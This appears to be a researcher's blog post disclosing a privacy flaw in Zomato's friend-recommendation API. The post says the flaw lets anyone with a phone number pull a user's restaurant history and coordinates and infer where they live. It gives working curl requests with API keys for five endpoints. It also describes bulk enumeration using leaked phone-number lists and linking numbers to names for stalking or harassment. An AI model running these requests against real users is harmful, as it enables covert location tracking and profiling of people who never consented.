TL;DR: Zomato’s “Friend Recommendations” API allows unilateral contact syncing. By uploading a phone number, bad actors can extract a user’s restaurant recommendation history and restaurant coordinates. By mapping overlapping delivery radii, an attacker can estimate a user’s approximate physical location without their consent. GitHub Repository & Full Proof of Concept Code: https://github.com/jatin-dot-py/zomato-intelligence (Status: As of 26 Feb, the endpoints remain unpatched)
Last week, I reported a privacy flaw in Zomato’s “Friend Recommendations” feature with a proof-of-concept video and an automated script. Eternal (Zomato’s parent company after the rebrand) closed the ticket in 12 minutes, labelling the ability to track a stranger’s approximate physical location as “Intended Behaviour.”
The flaw: anyone who has your phone number can silently sync it against Zomato’s API, extract your restaurant recommendation history, and map delivery radius overlaps to estimate where you live — without your knowledge, without your consent, and without any notification sent to you.
Discovering the API Flaw
I have known this was a possibility for months; I realized this because:
The refrigerator repair or service center guys aren't my friends. All I did was save their contacts. Why am I supposed to know what they eat or where they potentially have been?
I was just lazy at that time and didn’t give it a second thought until my last Instagram Privacy Bypass disclosure gave me motivation to hunt more.
I chose the Zomato app, and this time I was 100% sure what to look for exactly. It’s dangerously simple: I sync and desync the API contact endpoints and view my contact’s collection. This allows me to see their recommendations. Finally, I query a specific restaurant endpoint to retrieve dish names, metadata, and coordinates.
I was able to assemble a working proof of concept in just 3 hours.
The Illusion of Consent in ‘Friend Recommendations’
The core issue lies in a misleading design choice: The Definition of a Friend.
In most social apps (Instagram, LinkedIn), a “connection” or “friend” is Mutual. I add you, you accept me, and then we share data. Zomato uses a Unilateral model.
-
How Users Think It Works: “I share my food history with my friends.”
-
How It Actually Works: “Anyone who has my phone number can see my food history.”
I wrote a script to interact directly with the sync-desync contacts endpoint, skipping the app UI entirely:
- I upload a list of phone numbers (random or targeted. Potentially in thousands or even millions).
- Zomato checks if those numbers have accounts.
- Zomato returns the Recommendation History (Based on their order history), Taste Profile, and Ordered from Restaurants for every match.
- There is no “Accept Request” button. The victim never gets a notification. If I have your number or if I can find your number, I have your data.
They are attempting to build a social network on top of a delivery app, but they have stripped away the core safety feature of social networks: mutual consent.
Exploiting Zomato API Endpoints: A Technical Proof of Concept
Step 1: The sync-contacts endpoint
Purpose: The attacker syncs the phone numbers they want to target.
Request:
curl -X POST "https://api.zomato.com/gw/user-preference/recommendation/sync-contacts" \
-H "Accept: image/webp" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Content-Type: application/json; charset=utf-8" \
-H "Host: api.zomato.com" \
-H "X-Zomato-Access-Token: <Your Token Here>" \
-H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
-H "X-Zomato-App-Version: 931" \
-H "X-Zomato-App-Version-Code: 1710019310" \
-H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
-d '{
"flow_type": "revamped_flow",
"contacts_access_level": "full_access",
"contacts": [
{
"phone_numbers": ["+91 99999 99999"],
"name": "poc_contact_9999999999",
"id": "1"
}
],
"location": {
"city_id": 11111,
"place": {
"delivery_subzone_id": 11111
}
}
}'
Response:
{'status': 'success', 'message': 'success'}
Step 2: get-contacts we just synced
Purpose: This step is crucial. The API endpoint indicates if the target is a Zomato user and if they have public recommendations. Most importantly, it retrieves the encrypted_user_id associated with that phone number.
Request:
curl -X POST "https://api.zomato.com/gw/user-preference/recommendation/get-contacts" \
-H "Accept: image/webp" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive" \
-H "Content-Type: application/json; charset=UTF-8" \
-H "Host: api.zomato.com" \
-H "X-Zomato-Access-Token: <Your Token Here>" \
-H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
-H "X-Zomato-App-Version: 931" \
-H "X-Zomato-App-Version-Code: 1710019310" \
-H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
-d '{
"request_type": "initial",
"additional_filters": {},
"page_type": "contacts_management",
"removed_snippet_ids": [],
"page_index": "1",
"count": 99999,
"is_gold_mode_on": false,
"keyword": "",
"load_more": true
}'
Simplified Response from
[
{
"name": "poc_contact_XXXXXXXXXX",
"is_zomato_user": true,
"has_recommendations": true,
"recommendations": 23,
"encrypted_owner_user_id": "404d23c718d795dd649b326bdc9e492XXXXXXXXXXXXXXXXXXXXXX"
},
{
"name": "poc_contact_9999999999",
"is_zomato_user": false,
"has_recommendations": false,
"recommendations": 0,
"encrypted_owner_user_id": null
}
]
What isEncrypted User Id?: Instead of sending a public integer User ID, Zomato sends an encrypted_user_id so the user can be anonymized and the review data and potential PII does not get exposed from the following endpoint: https://zoma.to/u/123456
Step 3: The get_listing_by_usecase endpoint. Get Restaurant Names for the “Encrypted User ID”
Purpose: The purpose of this request is to turn that number of Recommendations to actual restaurant names and their specific outlets.
Request:
# Initial request cURL (for page 1; subsequent pages require dynamic postback_params)
curl -X POST "https://api.zomato.com/gateway/search/v1/get_listing_by_usecase" \
-H "Accept: image/webp" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Content-Type: application/json; charset=UTF-8" \
-H "Host: api.zomato.com" \
-H "X-Client-Id: zomato_android_v2" \
-H "X-Zomato-Access-Token: <Your token Here>" \
-H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
-H "X-Zomato-App-Version: 931" \
-H "X-Zomato-App-Version-Code: 1710019310" \
-H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
-d '{
"request_type": "initial",
"page_type": "collection_page",
"friend_recommendation_params": "{\"collection_type\": \"RECOMMENDATION\", \"owner_user_name\": \"your_owner_name_here\", \"encrypted_owner_user_id\": \"your_encrypted_owner_user_id_here\"}",
"count": 10,
"view_type": "RESTAURANT",
"additional_filters": {},
"removed_snippet_ids": [],
"page_index": "1",
"location": {
"entity_type": "subzone",
"entity_id": "9999999999",
"place_type": "DSZ",
"place_id": "9999999999"
},
"is_gold_mode_on": false,
"keyword": "",
"load_more": false
}'
Simplified Response from
{
"success": true,
"total": 10,
"restaurants": [
{
"name": "Pizza Wings",
"res_id": "XXXXXXXXX",
"chain_id": "XXXXXXXXX",
"displayed_id": "XXXXXXXXX"
},
{
"name": "Body Fuel Station",
"res_id": "XXXXXXXXX",
"chain_id": "XXXXXXXXX",
"displayed_id": "XXXXXXXXX"
},
{
"name": "Domino's Pizza",
"res_id": "XXXXXXXXX",
"chain_id": "143",
"displayed_id": "XXXXXXXXX"
},
...
],
<redacted for brevity>
You will notice the following things in the response:
- chain_id: Its the parent id for a outlet. For example, For a chain like Subway, chain_id never changes eg: 123, and the res_id would represent the Id of the specific outlet of that subway.
- res_id: Stands for the restaurant Id, represents the actual outlet location.
For franchises like subway, KFC, etc, The chain_id never changes, the res_id represents the particular KFC or Subway for a certain area.
Zomato API, does not guarantee to give us specific res_id when the restaurant is a Chain. This could be due to several reasons like Availability, Zomato tends to return the res_id’s that could be closer, weather conditions, No nearby riders etc…
For local restaurants like “Body Fuel Station”, the chain_id, and the res_id always remains the same. Here, Zomato API is forced to return the specific outlet as it’s not registered as a Chain on Zomato.
By now, we have a list of the restaurant our target has at least ordered from once.
Step 4: Extracting Specific Food Items From the list of restaurants we got for our target using gw/menu/{res_id} Endpoint
Purpose: You must have noticed, when you refresh the restaurant menu, on the top section as a filter you get to see what your contact (“Friend”) has recommended. The goal is to now extract those specific items.
Request:
curl -X POST "https://api.zomato.com/gw/menu/<res_id>" \
-H "Accept: image/webp" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Host: api.zomato.com" \
-H "X-Zomato-Access-Token: <Your Access Token>" \
-H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
-H "X-Zomato-App-Version: 931" \
-H "X-Zomato-App-Version-Code: 1710019310" \
-H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
-d "resID=<res_id>&mode=delivery&tabId=menu"
Simplified Response From
[
{
"user_id": "404d23c718d795dd649b326bdc9e492XXXXXXXXXXXXXXXXXXXXXX",
"ordered_items": [
{
"name": "Peri Peri Pizza",
"price": 289,
"image": "https://b.zmtcdn.com/data/dish_photos/cea/20a8d49d5d4a28712956d92872636cea.png"
},
{
"name": "Mexican Pizza",
"price": 269,
"image": "https://b.zmtcdn.com/data/dish_photos/260/7ce7ae6a108a3319f0b5a74a0cf0b260.png"
},
{
"name": "Jalapeno Garlic Bread",
"price": 239,
"image": "https://b.zmtcdn.com/data/dish_photos/2a4/cdf164bb6648642a769403c7bd9392a4.png"
},
{
"name": "Farmer Choice Pizza",
"price": 299,
"image": "https://b.zmtcdn.com/data/dish_photos/e35/b54ca6221ad549a9fa65376b6c0cae35.png"
}
]
},
{
...
}
]
We did it for one restaurant, but we have to run this script on each restaurant we identified from Step 3, and by then we will have a list of all dishes and the bare minimum price before discounts.
Step 5: Enriching the list of Restaurants we got for the user with Specific coordinates
Purpose: The goal now is to enrich the list of all restaurants, to extract the latitude and longitudes.
Request:
curl -X POST "https://api.zomato.com/gw/menu/res_info/<res_id>" \
-H "Accept: image/webp" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive" \
-H "Content-Type: application/json; charset=utf-8" \
-H "Host: api.zomato.com" \
-H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
-H "X-Zomato-App-Version: 931" \
-H "X-Zomato-App-Version-Code: 1710019310" \
-H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
-H "X-Zomato-Is-Metric: true" \
-H "X-Zomato-UUID: b2691abb-5aac-48a5-9f0e-750349080dcb" \
-d '{"should_fetch_res_info_from_agg": true}'
Simplified Response from
{
"latitude": 30.XXXXXXXXXXX,
"longitude": 76.XXXXXXXXXXX,
"success": true
}
We will repeat this process for each restaurant for a user, then we will have the following details:
- Restaurant Names
- Specific Dishes, Images, Prices from all Restaurants
- Latitude and Longitude of the Restaurant or the specific Outlet.
Final Aggregated Intelligence:
So, using series of “intended” Zomato features, I was able to get this data from just a phone number !
Zomato could have automatically stopped me at Step 3 or 4 by just checking, if the connection is mutual.
Location Inference via Zomato Data
The security team’s defence was: “Restaurant coordinates represent publicly listed business locations, not user locations.”
Inferring a Target’s Approximate Location
Let’s work through an actual example from my PoC data dump.
Here’s what the API returned:
Notice: All local restaurants. Each has a unique res_id = chain_id, meaning these coordinates point to ONE physical location, not a chain.
The Delivery Radius Overlap:
Zomato’s typical delivery radius is 6 km — 9 km depending on the restaurant opt in policy. Let’s be conservative and use 6 km for local shops.
Also, to get accurate delivery radius, you could use the Zomato app/ automated scripts to change location strategically to see if that restaurant still delivers to that area. But I’m skipping that for this experiment.
When I plot the coordinates I got from the script on a map (will exclude cases where chain_id != res_id ):
The overlapping area represents the area where ALL three restaurants can deliver. Approximately 6 sectors.
Not to mention, a bad actor would be smart enough to exclude areas like parks, empty fields, and water bodies.
Behavioural Pattern Analysis & Narrowing the intersection point further
Look at the order frequency for a different person (Refer to Figure L):
- Approximately 4 items ordered from “Sethi ****”, seeing the nature of items, it can be said there were multiple orders.
- More repeated items from other restaurants.
What this means is, for frequently ordered items, we can reduce the default delivery radius assumption which creates a tighter intersection.
Zomato Data Leak Risks: Seed Lists and OSINT Integration
While Zomato classifies this as a social feature for individuals, the technical implementation creates a significant risk of Mass Data Enumeration.
Because the “Friend Recommendation” API allows for one-way syncing without a two-way “handshake” (User Approval), it is theoretically possible to automate this process at scale.
“Seed Lists”
An unsophisticated attacker might try to guess phone numbers sequentially (+91–98XXX…). However, sophisticated bad actors do not need to guess. They utilize “Seed Lists” — massive databases of valid Indian mobile numbers verified from previous security incidents.
Example:
- Truecaller : As reported by
BankInfoSecurity , data for nearly 300 million Indian users has been previously exposed. This provides attackers with a ready-made directory of valid, active phone numbers mapped to real names.
The Enrichment Attack:
Instead of blindly pinging random numbers, an attacker feeds these high-fidelity “Seed Lists” into the Zomato API.
- Input: Valid Phone Numbers from seed lists.
- Zomato Output: Recommendations (derived from orders), Spending Power (avg. order value), and Approximate Physical Location (via delivery radius overlap).
As a result this turns Zomato into an “Enrichment Engine.” An attacker starts with just a phone number from an old leak, and Zomato effectively updates that record with the victim’s approximate location and profile.
By leaving this data accessible via a simple phone number query, the system unintentionally exposes the food preferences, location patterns, and spending profiles of its user base to anyone with the technical means to collect it.
Beyond “Public Business Data”: Why Location Matters
Up until this point, we have narrowed a user down to a specific neighbourhood or a cluster of 6–8 sectors. Zomato’s defence is that restaurant coordinates are publicly listed business locations — and technically, they’re right.
But that misses the point entirely.
A phone number in India trivially resolves to a full name via any UPI app (Google Pay, PhonePe) or Truecaller. So the actual output of this attack isn’t “restaurants in a neighbourhood.” It’s a named individual, tied to an approximate residential area, with their food preferences and spending patterns attached.
It’s not public data. That is a profile.
Combined with a name, that’s enough to make someone findable — and that’s the threshold that matters for stalking, harassment, or targeted social engineering.
Zomato calling this “Intended Behaviour” doesn’t change what the output actually is.
Disabling Zomato Friend Recommendations
To prevent your location and recommendation history from being scraped, you must manually opt out:
- Open the Zomato App and navigate to your Profile.
- Click ‘Friend Recommendations’ under Food Delivery.
- Turn the feature off using the toggle switch.
- Manually delete past recommendations to clear your history from the public API.